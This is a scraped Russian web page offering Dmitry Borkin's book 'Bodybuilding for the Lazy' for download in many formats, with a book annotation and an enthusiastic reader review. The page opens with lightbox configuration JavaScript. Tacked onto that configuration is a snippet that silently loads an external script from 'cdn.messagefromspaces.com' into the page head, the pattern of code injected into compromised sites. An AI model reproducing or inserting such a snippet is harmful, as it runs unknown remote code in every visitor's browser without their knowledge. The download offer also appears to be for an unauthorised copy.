, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Дмитрий Борькин «Бодибилдинг для ленивых»

Голосов: 136. Среднее: 4.12 из 5
Loading ... Loading ...

Аннотация на книгу

При минимальных усилиях быстрыми темпами нарастить мышечную массу с пользой для здоровья? Хорошо бы, но многие скажут, просто – ничего не бывает. Дмитрий Анатолиевич Борькин, автор книги «Бодибилдинг для ленивых» утверждает, что все возможно при грамотном, осознанном подходе и даже лень станет союзником в построении красивого тела.

Впрочем, лень тоже ведь бывает разной. У современного человека есть масса забот, проблем и прочих радостей, которыми забита его голова и личное время.  При желании сделать свое тело красивым, поиск аргументов и оправданий, чтобы не пойти на тренировку – результат недостаточной степени мотивации. В этом случае ни один учебник не поможет.

В ту же очередь, лень может быть причиной неуверенности. Ведь хочется быть на 100% уверенным в том, что результаты не заставят себя ждать, усилия не будут потрачены впустую, но напротив – приведут к желаемой цели. Следовательно, если уж тратить свои силы, свое время на тренировку, хотелось бы добиться максимального эффекта.

Известный русский атлет Иван Поддубный говорил:

«Главное в тренировке – сильная спина, руки, ноги, но самое основное – голова»

Занятие в спортзале без необходимых знаний превращает бодибилдинг на хаотичный набор телодвижений, бесполезную трату сил, энергии и времени. Стоит ли удивляться отсутствию желания заниматься.

Основной принцип, положенный в основу книги «Бодибилдинг для ленивых»:

«Лень – двигатель прогресса»

Исходя из этого правила и будет строится система тренировок Д.А. Борькина. Ведь в бодибилдинге важно не само усилие, а вектор, то, куда оно будет направленно. Естественно, главный приоритет – здоровье, следом – объемные мышцы.

Рецензия на книгу

Прочитав название данного справочника, я сразу понял, что эта книга для меня! Ну, очень хочется выглядеть спортивно и подтянуто, и при этом не тренироваться сутками в спортзале. У меня легко получилось скачать пособие, и я погрузился в его изучение.
Конечно, читать оказалось гораздо легче, чем поднимать штанги, но Дмитрий Борькин в своем произведении все-таки побуждает напрячься и заняться вторым пунктом. При этом автор обещает отличный результат за короткие сроки в том случае, если неукоснительно следовать его инструкциям.

В книге подробно описаны упражнения, которые следует выполнять, их очередность и многие другие важные детали, которые даже опытные спортсмены нередко упускают. Бодибилдингом может заниматься человек любого возраста, поэтому данный вид спорта является уникальным и подходит абсолютно всем желающим. Я нахожусь лишь на стадии подготовки к занятиям по системе «Бодибилдинг для ленивых», но, прочитав книгу, уверен, что она сработает в моем случае. Так что советую всем желающим стать красивыми и мускулистыми оторваться от дивана, и начать этот процесс именно с прочтения указанного пособия.

Формат файлов: fb2, ePub, txt, rtf, pdf, html, mobi (Kindle), java, lrf, rb, isilo3, lit, doc

Комментарии закрыты